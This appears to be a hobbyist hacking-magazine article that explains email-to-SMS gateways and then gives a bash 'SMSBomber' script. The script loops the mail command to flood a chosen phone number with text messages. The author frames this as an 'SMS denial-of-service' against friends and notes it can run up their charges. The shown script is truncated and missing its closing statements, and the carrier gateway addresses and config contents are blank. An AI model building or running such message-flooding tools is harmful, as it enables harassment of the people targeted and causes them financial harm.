Gmail and SMS Gateway Fun

by Digicon

Due to the downturn in the economy, I found myself needing to save money by downgrading my phone services.

With no data service for my phone, I could no longer get e-mail.  In my search to get e-mail without a data plan, I found out about SMS gateways.

An SMS gateway is a device or service offering SMS transit, transforming messages to mobile network traffic from other media or, vice versa, allowing transmission or receipt of SMS messages with or without the use of a mobile phone.

With this, I could take my phone number, forward my e-mail to that address with some filters, and I get my email back.  Then I thought I could mess with my friends with an SMS denial-of-service.  Remember, if your friend doesn't have unlimited texts, this could add up fast.

So here's my setup.  In Ubuntu 9.04:

$ sudo apt-get install ssmtp

Then vi /etc/ssmtp/ssmtp.conf and add the following:

Copy the following script to a text file and name it

echo Please, enter your number
  read NUMBER

echo	 Please, enter your short message
  read MESSAGE

echo "Attacking $NUMBER"
echo Continue????? yes/no
  read NEXT

if [ "$NEXT" = "no" ]; then
  echo " Restarting"
elif [ "$NEXT" = "yes" ]; then
  echo $MESSAGE > 1.txt
  echo "How many sms messages to send"
  read SMS
  echo "Number of seconds between messages"
  read speed
  until [ $SMS -le $COUNTER ]; do
    cat 1.txt | mail -s "SMSBomber" $NUMBER
    sleep $speed
    COUNTER=$(( $COUNTER + 1 ))
    echo "Attack $COUNTER of $SMS"
    echo "Crtl+C to call off attack."

Then do chmod 755 to make it executable, and to run just type ./ remembering to enter the number in the format:

This isn't limited to AT&T, here are few other carriers get you started:

  • Boost:
  • Verizon:
  • Virgin:
  • Alltel:

Shouts to Debbie, Trinity, family, and friends.

Code: ssmtp.conf


Return to $2600 Index